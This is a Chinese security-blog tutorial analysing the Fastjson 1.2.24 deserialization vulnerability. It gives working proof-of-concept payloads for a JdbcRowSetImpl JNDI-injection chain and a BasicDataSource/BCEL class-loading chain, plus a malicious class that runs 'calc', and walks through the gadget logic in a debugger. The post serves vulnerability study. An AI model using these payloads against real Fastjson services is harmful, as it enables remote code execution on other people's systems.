fastjson反序列化-1.2.24漏洞利用与分析

admin 2024年1月24日15:25:56评论17 views字数 4375阅读14分35秒阅读模式
本文由掌控安全学院 - xilitter稿

0x01 利用条件

通过对fastjson基础知识的学习和反序列化流程的分析,发现它与我们之前学的常规的反序列化又不太一样。fastjson自己定义了一套反序列化规则,它不需要反序列化的类去继承Serializable接口,也不需要找readObject函数作为入口。相反,它是将类中的setter和满足特定条件的getter方法作为出发点,@type所指向的全类名必须能够找到就可以反序列化成功。总的来说,从原生反序列化中的属性可控到寻找setter或者getter方法可控。(ps:这点很重要)
本篇文章主要学习两种利用方法,出网和不出网。

0x02 出网+JNDI注入

利用类:JdbcRowSetImpl

该类有一块JNDI注入的代码逻辑:
fastjson反序列化-1.2.24漏洞利用与分析
代码是反编译出来的,但是不影响。conn属性默认为空,不用管自然会走到else if。getDataSourceName是getter方法,
fastjson反序列化-1.2.24漏洞利用与分析
它的返回值我们可控,就可以实现JNDI注入。那么接下来就是寻找哪个getter或者setter方法调用了connect方法,查找用法全局搜索,在本类中是有两处。
fastjson反序列化-1.2.24漏洞利用与分析
我们用setAutoCommit方法,
fastjson反序列化-1.2.24漏洞利用与分析
接收一个布尔型的参数,conn默认为空,自然会调用到connect方法。那可不可以用前面的getter方法,Fastjson基础篇讲到parse方法里会执行返回值类型为Map等特定的getter方法。
fastjson反序列化-1.2.24漏洞利用与分析
而它的返回值只是一个普通的接口,不满足条件。
fastjson反序列化-1.2.24漏洞利用与分析
但是在下面的toJSON会遍历执行所有的getter(基础篇没有写,文章最后会分析一下),前提是上面的代码不会出错,自己可以调一下,是会出错的。到此整个利用流程结束,将setAutoCommit作为入口,getDataSourceName作为输入实现JNDI注入。
使用工具Yakit起一个恶意的ldap服务,里面放着恶意类,很方便。
fastjson反序列化-1.2.24漏洞利用与分析
最终POC

  1. package fastjson.test2;
  2. import com.alibaba.fastjson.JSON;
  3. public class JdbcRowSetImplPOC {
  4. public static void main(String[] args){
  5. String s = "{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8086/LrcaDhze","autoCommit":"false"}";
  6. JSON.parseObject(s);
  7. }
很简单,也不需要去过多的分析。感兴趣也可以自己调试一下。
fastjson反序列化-1.2.24漏洞利用与分析

0x03 不出网+动态加载字节码

JNDI注入实现的是远程类加载,这种利用方法主要实现本地类加载。需要相关tomcat的依赖
fastjson反序列化-1.2.24漏洞利用与分析

利用类:ClassLoader

需要注意的是,它不是java.lang下的类加载器,它是继承于原生的ClassLoader,在包com.sun.org.apache.bcel.internal.util下。
利用方法loadClass,
fastjson反序列化-1.2.24漏洞利用与分析
defineClass最终实现类加载。class_name是传进来的参数,我们需要让它走到第一个if分支里,不然是会抛出异常的,跟进到createClass方法,
fastjson反序列化-1.2.24漏洞利用与分析
看逻辑,我们传进去的串前面必须满足

  1. $$BCEL$$
八个字符,进入到这个函数后会对第八个字符后面的串解码并返回,所以我们只需要将字节码编码,前面加上

  1. $$BCEL$$
标记符就好了。
接下来就是如何调用到这个loadClass方法了。这就需要前面说的tomcat依赖里的类了:BasicDataSource。
fastjson反序列化-1.2.24漏洞利用与分析
在createConnectionFactory方法里,利用的地方是第二个Class.forName,用于通过类的全限定名来加载和获取对应的 Class对象,该方法像图中所说,有三个参数。

  1. 参数一:类的全限定名,用于获取它的Class对象。
  2. 参数二:布尔型,为true时,在类加载的时候会进行初始化。
  3. 参数三:选择指定的类加载器。
能够指定任意的类加载器,那就与开头的loadClass方法对接上了,代码中第二个参数为true,会进行初始化。动态类加载的两个条件满足,能够执行恶意代码。
现在需要的是driverClassName和driverClassLoader属性是否可控,可控的前提是是否存在对应的getter和setter方法。
fastjson反序列化-1.2.24漏洞利用与分析
fastjson反序列化-1.2.24漏洞利用与分析
查找用法很容易就能找到,(也有对应的setter,没放截图而已)那么接下来就是要找哪个getter或者setter方法调用了createConnectionFactory,这里找两层就能找得到了。

  1. createConnectionFactory-》createDataSource-》getConnection
fastjson反序列化-1.2.24漏洞利用与分析
到此整个流程分析结束。恶意类代码:

  1. package fastjson.test2;
  2. import java.io.IOException;
  3. public class Evaltest {
  4. static {
  5. try {
  6. Runtime.getRuntime().exec("calc");
  7. } catch (IOException e) {
  8. e.printStackTrace();
  9. }
  10. }
  11. }
包名应该得一样,之前用不一样包名的字节码文件弹不出计算器。可以写一个普通的代码逻辑。

  1. package fastjson.test2;
  2. import com.sun.org.apache.bcel.internal.classfile.Utility;
  3. import com.sun.org.apache.bcel.internal.util.ClassLoader;
  4. import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
  5. import java.io.IOException;
  6. import java.nio.file.Files;
  7. import java.nio.file.Paths;
  8. import java.sql.SQLException;
  9. public class FastJsonBcel {
  10. public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
  11. ClassLoader classLoader = new ClassLoader();
  12. byte[] bytes = Files.readAllBytes(Paths.get("D:\tmp\classes\Evaltest.class"));
  13. String s = Utility.encode(bytes,true);
  14. BasicDataSource basicDataSource = new BasicDataSource();
  15. basicDataSource.setDriverClassLoader(classLoader);
  16. basicDataSource.setDriverClassName("$$BCEL$$"+s);
  17. basicDataSource.getConnection();
  18. }
  19. }
要控制的属性也就两个,一个是要加载的字节码,另一个是类加载器。代码逻辑前面都说过了,很容易能看懂了。运行也是可以弹出计算器,最后写一个最终的fastjson反序列化的payload:

  1. package fastjson.test2;
  2. import com.alibaba.fastjson.JSON;
  3. import com.sun.org.apache.bcel.internal.classfile.Utility;
  4. import com.sun.org.apache.bcel.internal.util.ClassLoader;
  5. import java.io.IOException;
  6. import java.nio.file.Files;
  7. import java.nio.file.Paths;
  8. import java.sql.SQLException;
  9. public class FastJsonBcel {
  10. public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
  11. ClassLoader classLoader = new ClassLoader();
  12. byte[] bytes = Files.readAllBytes(Paths.get("D:\tmp\classes\Evaltest.class"));
  13. String s = Utility.encode(bytes,true);
  14. String code = "{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","DriverClassName":"$$BCEL$$"+s+"","DriverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}";
  15. JSON.parseObject(code);
成功弹出计算器。
fastjson反序列化-1.2.24漏洞利用与分析

0x04 toJSON方法遍历所有getter的分析

算是补的基础的坑,但是不会说太细,知道就好。
下断点调试吧,以第二个利用代码作为例子。
fastjson反序列化-1.2.24漏洞利用与分析
对BasicDataSource类所继承的类的做个判断,这里都不是,直接跳过。又开始判断BasicDataSource对象的类型了。这里也都不是,
fastjson反序列化-1.2.24漏洞利用与分析
跟进到getFieldValuesMap方法里面。
fastjson反序列化-1.2.24漏洞利用与分析
遍历所有的getter方法,然后将它们对应的字段的值储存在Map中。
fastjson反序列化-1.2.24漏洞利用与分析
当遍历到getConnection方法时,跟进getPropertyValue方法,继续跟进到get方法。
fastjson反序列化-1.2.24漏洞利用与分析

动态调用函数,成功调用getConnection方法,作为反序列化的开头,继续跟进的话也就回到刚才利用分析的地方。到此就结束。

0x05 结语

Fastjson的1.2.24版本是最先发现漏洞的版本,这篇文章也是作为学习Fastjson反序列化的开端。后续会继续学习Fastjson高版本的绕过。
反序列化之路任重而道远。

.

fastjson反序列化-1.2.24漏洞利用与分析

原文始发于微信公众号(掌控安全EDU):fastjson反序列化-1.2.24漏洞利用与分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月24日15:25:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson反序列化-1.2.24漏洞利用与分析http://cn-sec.com/archives/2425814.html

发表评论

匿名网友 填写信息